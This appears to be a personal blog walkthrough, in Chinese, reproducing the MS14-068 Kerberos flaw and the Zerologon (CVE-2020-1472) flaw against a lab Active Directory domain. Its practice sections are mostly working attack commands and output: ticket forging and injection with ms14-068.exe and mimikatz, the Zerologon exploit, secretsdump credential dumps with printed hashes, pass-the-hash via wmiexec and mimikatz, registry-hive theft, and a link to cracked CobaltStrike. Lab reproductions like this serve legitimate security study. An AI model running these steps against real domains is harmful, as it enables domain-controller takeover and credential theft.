follow my dream

MS 14-068 && CVE-2020-1472

字数统计: 1.9k阅读时长: 8 min
2021/03/14 Share

[toc]

环境搭建

环境:

  • 域控/活动目录

Win 2008 [主机模式]

计算机名: DCServer

域名: pentestlab.com

用户:

Admin xzas@157

Administrator xzas@123

IP: 192.168.186.128

image-20210127164350549

域用户: fe1w0 test@123

  • 域成员

Win 7 [Net 模式、主机模式]

用户:

test fe1w0@123

IP: 192.168.186.129 192.168.127.134

计算机名:test-PC

域用户: fe1w0 test@123 [已添加到本地计算机Administrator用户组

MS 14-068

参考资料:

https://www.jianshu.com/p/27730ab4a6db

https://blog.csdn.net/lhh134/article/details/104139081

Kerberos 协议与 黄金白银票据

Kerberos 协议

阶段1 : 认证服务器交换(AS交换)

(1) C -> AS

$ID_C || ID_{TGS}||TS_1$

$K_C$ 为 $hash(PassWord_C)$

(2) AS -> C

$E_{K_c}[K_{C,TGS}||ID_{TGS}||ID_C||TS_2||Lifetime_2||Ticket_{TGS}]$

$Ticket_{TGS} = E_{K_{TGS}}[K_{C,TGS}||ID_{C}||AD_{C}||ID_{TGS}||TS_2||Lifetime_2]$

$K_{C,TGS}$ C 与 TGS 之间的通话密钥, $AD_C$ C 的网络地址

$K_{TGS}$ 为 $hash(PassWord_{TGS})$

阶段2: 票据授予服务器交换(TGS 交换)

(3) C -> TGS

$ID_S||Ticket_{TGS}||Authenticator_C$

$Authenticator_C = E_{K_{C,TGS}}[ID_C||AD_C||TS_3]$

(4) TGS -> C

$E_{K_{C,TGS}}[K_{C,S}||ID_{S}||TS_4||Lifetime_4||Ticket_{S}]$

$Ticket_{S} = E_{K_{S}}[K_{C,S}||ID_{C}||AD_{C}||ID_{S}||TS_4||Lifetime_4]$

阶段3: 客户/服务器认证应用交换(AP交换)

(5) C -> S

$Ticket_{S}||Authenticator_C$

$Authenticator_C = E_{K_{C,S}}[ID_C||AD_C||TS_5] $

(6) S -> C

$E_{K_{C,S}}[TS5+1]$,v5已经取消这一做法

参考: https://zh.wikipedia.org/wiki/Kerberos

黄金白银票据

黄金票据:

拥有$K_C$,可以为所欲为

白银票据:

得知$K_{S}$,只能伪造$Ticket_S$,也只能获取S的服务

原理

深入解读MS14-068漏洞:微软精心策划的后门? - FreeBuf网络安全行业门户

walkerfuz 师傅NB

WIN Kerberos

Win 的中所采用Kerberos协议和上面的Kerberos协议,并不一样,会多一个PAC,Privilege Attribute Certificate 特权属性证书,以检验User有无权限使用服务

证书保存在KDC中,流程可以看上面链接

漏洞产生的具体三个原因

from 深入解读MS14-068漏洞:微软精心策划的后门? - FreeBuf网络安全行业门户

第一个错误:

在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

也就是说可以采用不带key计算的签名算法,如不加盐的散列函数

第二个错误:

PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

第三个错误:

只要TGS_REQ按照刚才漏洞要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到SessionKeya-kdc;

在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把SessionKeya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

相当于生成含有CAP的TGT

影响版本与条件

受影响的版本:

Microsoft 安全公告 MS14-068 - 严重 | Microsoft Docs

MS14-068编号CVE-2014-6324,补丁为3011780, systeminfo |find "3011780"以查看

image-20210127183024231

此外攻击者可以获得普通域用户密码/hash值,以及用户的suid

实践

参考:

Pass The Ticket之ms14-068 - 简书 (jianshu.com)

MS14-068域权限提升漏洞总结 - 知乎 (zhihu.com)

利用前,访问域控共享文件夹

1
dir \\DCServer.pentestlab.com\c$

image-20210127183856252

ms14-068.exe

1.获取域用户fe1w0的SID

image-20210127183618825

2.生成TGT票据

GitHub - ianxtianxt/MS14-068: 域渗透工具

1
2
3
4
5
ms14-068.exe  -u fe1w0@pentestlab.com -s S-1-5-21-1799418058-61352837-3073535808-1108 -d 192.168.186.128 -p test@123
-u 域用户@域名
-s 域用户SID
-d 域控制器地址
-p 域成员密码

生产.ccache文件

image-20210127190852822

3.注入内存

使用mimikatz将票据(TGT)注入到当前内存中,来伪造kerberos协议认证证书

image-20210127191248017

获取域控权限

image-20210127191552872

内存中的证书

image-20210127191625623

PSExce64.exe \\DCServer.pentestlab.com cmd.exe

Forensics-Tool-Wiki/windowsTools at master · crupper/Forensics-Tool-Wiki · GitHub

image-20210127192118726

ms14-068.py

GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

windows-kernel-exploits/ms14-068.py at master · SecWiki/windows-kernel-exploits · GitHub

goldenPac.py

GitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.

metasploit

CobaltStrike

https://gitee.com/ssooking/cobaltstrike-cracked

CVE-2020-1472

参考:

GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura

CVE-2020-1472漏洞复现 | 夜莺 (shallowdream.cn)

CVE-2020-1472(域内提权)漏洞复现 | Sriracha :) (sherlocz.github.io)

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序

影响版本与条件

Security Update Guide - Microsoft Security Response Center

环境

在上面环境基础上,添加一个内网的kali主机

IP:192.168.186.133

原理

Netlogon 特权提升漏洞(CVE-2020-1472)原理分析与验证 (qq.com)

可以大致理解为Client 挑战设置为空,通过AES加密会有可能1/256的几率导致域控hash为空

实践

POC : GitHub - SecuraBV/CVE-2020-1472: Test tool for CVE-2020-1472

EXP :GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura

impacket

POC 验证

  • 安装impacket
1
2
3
git clone https://hub.fastgit.org/SecureAuthCorp/impacket.git

python3 setup.py install
  • 验证
1
python3 zerologon_tester.py <主机名> <ip>

image-20210127203540620

攻击

Exp 攻击

1
python3 cve-2020-1472-exploit.py DCServer 192.168.186.12

image-20210127203957484

利用impacket的secretsdump.py导出域控制上的hash

1
python3  secretsdump.py pentestlab.com/DCServer\$@192.168.186.128 -no-pass

image-20210127204330820

1
2
3
4
5
6
7
8
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbe65d9f279b16c6a264b8371eb4a160:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c85809d3a3e21da8dfcb13617b245d1e:::
Admin:1000:aad3b435b51404eeaad3b435b51404ee:5e2682da4c72a9c90fdd526f01e55126:::
pentestlab.com\fe1w0:1108:aad3b435b51404eeaad3b435b51404ee:c20a43b71503528c05c57fcbff0c78e3:::
DCSERVER$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
TEST-PC$:1109:aad3b435b51404eeaad3b435b51404ee:dd538e4ceefd64b65959a9fffd7a72ba:::

利用获取到的管理员hash来远程操作域控服务器

1
2
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5e2682da4c72a9c90fdd526f01e55126 pentestlab.com/Admin@192.168.186.128

image-20210127204659207

获取管理员hash,远程连接导出sam数据库中的原来的计算机hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg save HKLM\SYSTEM system.save

reg save HKLM\SYSTEM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del sam.save

del system.save

del security.save

image-20210127205227986

1
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20210127205353282

1
2
3
4
5
6
7
8
9
10
11
12
13
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xdaa42ebbb4f1069587d6492594e8d8f6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[-] SAM hashes extraction failed: 'NoneType' object is not subscriptable
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:8a39fcbe434e5b721c439566461f950067eddd998dc0bbb665833a11e0be2fb81fc75f189a62b29ff050bff2dfbd3ba331abe667ad6815efd38f3e5a6877790c0e403d690b90df1be53d0c38ca7f6f73bf93cfe913f3f392eb6864d2788b5ed402254b5caf80fd302a7d9f8a0332e422a00908bf3ebe38874c0bb65e9b4cdee7dc3c4da3574fd54ec958c74599f32429f2fd3f11e356b76e4bcf4475ba3f87422bc00503eae627c45a81a5db7c36f4df3026cbe4c5c5799b0fbdc514308457be6d703248f959977408fa271f11862725ac0d5596eae15c6481205fd31c5847be5384e776034dc584a575658526601457
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:95d9b4e7a41655e32b68057b5331ba61
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1135b44c9d61d378a49c655d586c1b7f570c6587
dpapi_userkey:0x51bf6a0a7638ec7dbebd35a6d323cc00f77b2d9d

恢复计算机的hash

恢复原来的hash值,随意的改变hash会对域,dns或者一些其他的功能可能造成影响

工具 GitHub - risksense/zerologon: Exploit for zerologon cve-2020-1472

python3 -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

1
python3 reinstall_original_pw.py DCServer 192.168.186.128 95d9b4e7a41655e32b68057b5331ba61

$MACHINE.ACC 后一半部分

image-20210127211354172

恢复前

1
python3 secretsdump.py pentestlab.com/Admin:xzas\@157@192.168.186.128 -just-dc-user DCServer\$

image-20210127210839781

恢复后

image-20210127211421847

Mimikatz

Windows NetLogon 权限提升漏洞复现(CVE-2020-1472) - 知乎 (zhihu.com)

验证

1
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.186.128 /account:DCServer$"

image-20210127213901204

攻击

1
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.186.128 /account:DCServer$ /exploit"

image-20210127214126336

1
lsadump::dcsync /domain:pentestlab.com /dc:DCServer.pentestlab.com  /user:Admin /authuser:DCServer$ /authpassword:"" /authntlm

image-20210127214339122

hash 传递

1
./mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Admin /domain:DCServer /rc4:5e2682da4c72a9c90fdd526f01e55126"

image-20210127215532342

恢复

1
lsadump::postzerologon /target:192.168.186.128 /account:DCServer$
CATALOG
  1. 1. 环境搭建
    1. 1.1. 环境:
  2. 2. MS 14-068
    1. 2.1. Kerberos 协议与 黄金白银票据
      1. 2.1.1. Kerberos 协议
      2. 2.1.2. 黄金白银票据
    2. 2.2. 原理
      1. 2.2.1. WIN Kerberos
      2. 2.2.2. 漏洞产生的具体三个原因
    3. 2.3. 影响版本与条件
    4. 2.4. 实践
      1. 2.4.1. ms14-068.exe
        1. 2.4.1.1. 1.获取域用户fe1w0的SID
        2. 2.4.1.2. 2.生成TGT票据
        3. 2.4.1.3. 3.注入内存
      2. 2.4.2. ms14-068.py
      3. 2.4.3. goldenPac.py
      4. 2.4.4. metasploit
      5. 2.4.5. CobaltStrike
  3. 3. CVE-2020-1472
    1. 3.1. 影响版本与条件
    2. 3.2. 环境
    3. 3.3. 原理
    4. 3.4. 实践
      1. 3.4.1. impacket
        1. 3.4.1.1. POC 验证
        2. 3.4.1.2. 攻击
        3. 3.4.1.3. 恢复计算机的hash
      2. 3.4.2. Mimikatz
        1. 3.4.2.1. 验证
        2. 3.4.2.2. 攻击
        3. 3.4.2.3. 恢复